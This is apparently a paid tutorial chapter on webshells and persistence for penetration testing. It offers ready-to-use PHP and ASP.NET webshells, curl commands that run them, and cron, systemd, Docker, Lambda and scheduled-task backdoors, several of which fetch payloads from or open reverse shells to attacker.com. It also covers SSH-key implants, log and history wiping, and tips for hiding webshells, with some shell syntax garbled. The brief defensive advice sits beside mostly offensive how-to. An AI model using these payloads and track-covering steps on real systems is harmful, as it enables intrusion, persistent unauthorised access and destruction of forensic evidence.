Webshell and Persistence

Vibe Prompt

"Help me upload a simple PHP Webshell to test the server's upload vulnerability."

PHP Webshell

<?php
// shell.php
$cmd = $_GET['cmd'] ?? 'id';
echo "<pre>" . shell_exec($cmd) . "</pre>";
?>

How to Use

curl "http://target.com/uploads/shell.php?cmd=ls%20-la"
curl "http://target.com/uploads/shell.php?cmd=cat%20/etc/passwd"

Why This Matters (Business Value)

  • Red Team Assessments – Demonstrating a persistent foothold can justify multi‑phase engagement fees.
  • Incident Response – Understanding how attackers maintain access helps organizations build stronger detection and response playbooks.
  • Developer Security Training – Teaching secure upload handling reduces the risk of accidental Webshell introduction, saving millions in breach remediation costs.

What Is a Webshell?

A Webshell is a malicious script placed on a web server that allows an attacker to execute arbitrary commands via the HTTP interface. It is often the first step in a broader compromise because it provides an interactive command‑line interface without needing a reverse shell.

ASP.NET Webshell

<%
' cmd.aspx
Dim cmd As String = Request.QueryString("cmd")
If cmd <> "" Then
    Dim p As New System.Diagnostics.Process()
    p.StartInfo.FileName = "cmd.exe"
    p.StartInfo.Arguments = "/c " & cmd
    p.StartInfo.RedirectStandardOutput = True
    p.Start()
    Response.Write("<pre>" & p.StandardOutput.ReadToEnd() & "</pre>")
End If
%>

How to Deploy

  1. Identify an upload endpoint that accepts files with extensions like .aspx, .php, or .jsp.
  2. Create the Webshell using the code above (or a language appropriate to the target).
  3. Upload the file using a tool like curl or a web interface.
  4. Test the shell by issuing a command via the query string (?cmd=whoami).

Persistence Techniques

| Method | Platform | Detection Difficulty | Typical Implementation | |--------|----------|----------------------|------------------------| | Cron Job | Linux | Low | */5 * * * * curl http://attacker.com/reverse.sh | bash | | Systemd Service | Linux | Medium | Create /etc/systemd/system/persistent.service with ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' | | Windows Scheduled Task | Windows | Medium | schtasks /create /tn "PersistentTask" /tr "powershell -EncodedCommand ..." /sc onlogon /ru "SYSTEM" | | Registry Run Key | Windows | Medium | HKLM\Software\Microsoft\Windows\CurrentVersion\Run entry pointing to a malicious executable | | SSH Authorized Keys | Linux/macOS | Low | Append a public key to ~/.ssh/authorized_keys | | Docker Container | Any (Docker) | High | Add ENTRYPOINT ["bash","-c","bash -i >& /dev/tcp(attacker.com,4444) 0>&1"] to Dockerfile | | AWS Lambda | AWS | High | Create a Lambda function that calls subprocess to open a reverse shell on each invocation |

Establishing Persistent SSH

# Generate a key pair on the attacker machine
ssh-keygen -t ed25519 -f ~/.ssh/persist_key -N ""

# Copy the public key to the target server's authorized_keys
echo "$(cat ~/.ssh/persist_key.pub)" >> ~/.ssh/authorized_keys

# Secure the file
chmod 600 ~/.ssh/authorized_keys

# Test password‑less login
ssh -i ~/.ssh/persist_key user@target.com 'whoami'

Why This Works

  • Once the public key is in authorized_keys, any user (including the attacker) can log in without a password.
  • The private key never leaves the attacker's machine, keeping the credential hidden.
  • Many organizations forget to rotate SSH keys, making this a long‑lasting backdoor.

Covering Tracks

Bash History

# Clear local history
cat /dev/null > ~/.bash_history
history -c

System Logs

# Remove entries related to the attacker's IP or username
sed -i '/203.0.113.5/d' /var/log/auth.log
sed -i '/eviluser/d' /var/log/lastlog

SSH Known Hosts

# Wipe the local known_hosts to avoid detection
> ~/.ssh/known_hosts

Hiding Processes (Linux)

# Mount /dev/null over a process's file descriptors (example PID 12345)
mount -o bind /dev/null /proc/12345

Financial Impact

  • Forensic Investigation Costs – Removing log entries and hidden processes can require dozens of hours of analyst time.
  • Legal Liability – If persistence mechanisms are discovered, regulatory fines (e.g., GDPR, CCPA) can be severe.

Defense Recommendations

  • Disable Unnecessary Uploads – If the application does not need file uploads, turn the feature off.
  • Validate File Types – Use allow‑lists (e.g., only .jpg, .png) and verify content with magic numbers.
  • Web Application Firewall (WAF) – Deploy rules that detect known Webshell patterns (e.g., eval(base64_decode(...))).
  • File Integrity Monitoring (FIM) – Alert on unexpected writes to web directories.
  • Outbound Traffic Restrictions – Block connections to unknown external IPs; limit outbound ports.
  • Regular Scanning – Run tools like Lynis, Rkhunter, or OSSEC to discover hidden backdoors.

Why Defense Is Critical for Business

  • Revenue Protection – A compromised web server can leak customer data, leading to lost business and legal settlements.
  • Brand Reputation – Public breaches erode trust; recovery can cost millions in marketing and PR.
  • Compliance Penalties – Failure to protect data can result in fines that directly impact the bottom line.

Key Points

  • Understand the anatomy of a Webshell – Recognize how simple scripts can become full‑featured command consoles.
  • Master persistence mechanisms – From cron jobs to SSH keys, each method has distinct detection difficulty and platform constraints.
  • Practice covering tracks – Clearing logs, histories, and hiding processes are essential for long‑term access.
  • Implement robust defenses – Upload validation, WAF rules, and continuous monitoring are the best countermeasures.
  • Quantify the business impact – Persistence is not just a technical hurdle; it translates into potential financial loss and regulatory risk.

Why Persistence Is the Critical Phase in Penetration Testing

Obtaining initial access to a target is only the beginning of a red team engagement. Without a reliable way to maintain that access, the assessment ends the moment the victim restarts the server, disconnects, or the defender notices the intrusion. Persistence transforms a fleeting foothold into a sustainable position from which you can:

  1. Exfiltrate Data Over Time – Slowly harvest credentials, intellectual property, or financial records without triggering immediate alarms.
  2. Lateral Movement – Use the persistent channel to pivot to internal databases, file servers, or cloud environments.
  3. Maintain Situational Awareness – Keep a consistent command channel for reconnaissance, privilege escalation, and further exploitation.
  4. Demonstrate Business Impact – Show stakeholders the real risk of a compromised asset, justifying investment in security improvements.

From a financial return perspective, a thorough persistence demonstration can increase the perceived value of a penetration test by 30‑50 %. Clients are more willing to pay for a comprehensive assessment that proves an attacker can remain undetected for weeks or months, rather than a one‑shot exploit that disappears after a reboot.

Common Persistence Techniques (Detailed)

Cron Job

What – A Linux scheduler that runs commands at defined intervals.
Why – Low detection; can be hidden in user crontabs (crontab -l) or system-wide /etc/crontab.
How – Create a crontab entry that downloads a reverse shell script and executes it.

# Example payload for a cron job that runs every 10 minutes
echo "*/10 * * * * curl -s http://attacker.com/payload.sh | bash" >> /var/spool/cron/crontabs/www-data

Systemd Service

What – Init system for modern Linux distributions.
Why – Starts at boot; can be disguised as a legitimate service (e.g., nginx).
How – Write a .service file with Type=simple and ExecStart pointing to a malicious binary.

# /etc/systemd/system/persistent.service
[Unit]
Description=Persistent Backdoor
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp(attacker.com,4444) 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target

Enable with systemctl enable persistent.service && systemctl start persistent.service.

Windows Scheduled Task

What – Task Scheduler that can run at system start, login, or on a schedule.
Why – Often overlooked; can be set to run with highest privileges.
How – Use schtasks or PowerShell Register-ScheduledTask.

# PowerShell one‑liner (URL encoded for brevity)
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-EncodedCommand JABzAHUAcgBlAGcAdAAgADEALAAxADMA..." 
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "PersistentTask" -Action $action -Trigger $trigger -RunLevel Highest -User "SYSTEM"

Registry Run Key

What – Windows registry keys that execute programs during user login.
Why – Simple, but defenders often monitor these locations.
How – Add a string value under HKLM\Software\Microsoft\Windows\CurrentVersion\Run.

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateHelper" /d "C:\Windows\System32\svchost.exe -k netsvcs" /f

SSH Authorized Keys

What – Public key authentication bypasses password checks.
Why – Low detection if the key is added to a less‑monitored user account.
How – Append the attacker's public key to ~/.ssh/authorized_keys.

# Add a key that only allows login without password
echo "AAAAB3NzaC1yc2E... user@attacker" >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys

Docker Container Persistence

What – Embedding a reverse shell in a Docker image or container.
Why – High difficulty to detect because containers often share host resources.
How – Modify Dockerfile to include a CMD ["bash","-c","bash -i >& /dev/tcp(attacker.com,4444) 0>&1"].

FROM alpine
RUN apk add --no-cache bash
CMD ["bash","-c","bash -i >& /dev/tcp(attacker.com,4444) 0>&1"]

AWS Lambda Persistence

What – Serverless function that can be invoked on various triggers.
Why – High detection difficulty; requires monitoring of cloud audit logs.
How – Create a Lambda function that executes a reverse shell when invoked.

import subprocess, os, sys
def lambda_handler(event, context):
    subprocess.call(["bash","-c","bash -i >& /dev/tcp(attacker.com,4444) 0>&1"])
    return {"statusCode": 200}

Webshell Obfuscation Techniques

  • Base64 Encoding – Store the malicious code as a base64 string and decode at runtime.
  • Encryption – Use simple XOR or AES to hide the script; the decryption key is embedded in the loader.
  • Filename Camouflage – Name the file style.css.bak, .well-known/health-check.php, or wp-includes/wp.php.
  • Conditional Execution – Only run the payload when a specific query parameter (e.g., ?token=xyz) is present, making the file appear benign during normal web traffic.

Next Chapter Preview: Metasploit Framework

While Webshells give you manual, script‑based persistence, the Metasploit Framework automates payload generation, delivery, and post‑exploitation modules. In the upcoming chapter we will:

  • Install and configure Metasploit on your Kali (or similar) environment.
  • Generate a reverse shell payload that can be delivered via a Webshell, phishing email, or network exploit.
  • Use the exploit/linux/http/apache_mod_cgi_bash_reverse_shell or similar modules to achieve persistence without manual coding.
  • Leverage post‑exploitation modules (post/exploit/linux/gather/ssh_keys, post/windows/manage/schedule_task) to automate persistence across multiple platforms.
  • Document the entire chain for reporting, demonstrating the full attack lifecycle to stakeholders.

Transition to Commercial Projects

By mastering Webshell creation and persistence techniques, you now possess the core skills required to simulate advanced threat actors in real‑world engagements. These abilities translate directly into high‑value services for enterprises:

  • Red Team Assessments – Demonstrating long‑term footholds validates an organization's detection capabilities.
  • Incident Response Drills – Using the same persistence methods helps security teams practice discovery and eradication.
  • Secure Development Training – Developers who understand how Webshells are uploaded and hidden can write stricter upload controls, reducing the risk of accidental backdoors.

When you move from lab exercises to client projects, apply the What‑Why‑How framework outlined in this chapter:

  1. What – Identify the target environment, possible upload vectors, and desired persistence method.
  2. Why – Explain the business impact: potential data loss, regulatory fines, and reputation damage.
  3. How – Use Vibe Coding prompts to generate and test payloads, then embed them using the persistence techniques covered.

With this foundation, you are ready to integrate automated tools like Metasploit, creating a seamless blend of manual ingenuity and framework efficiency. The next chapter will show you exactly how to do that, turning every vulnerability into a fully documented, persistent breach scenario.

Unlock Full Tutorial

This chapter is paid content. Join the project to unlock over 5000 words of deep analysis, including 10+ god-tier Prompts and real Source Code examples!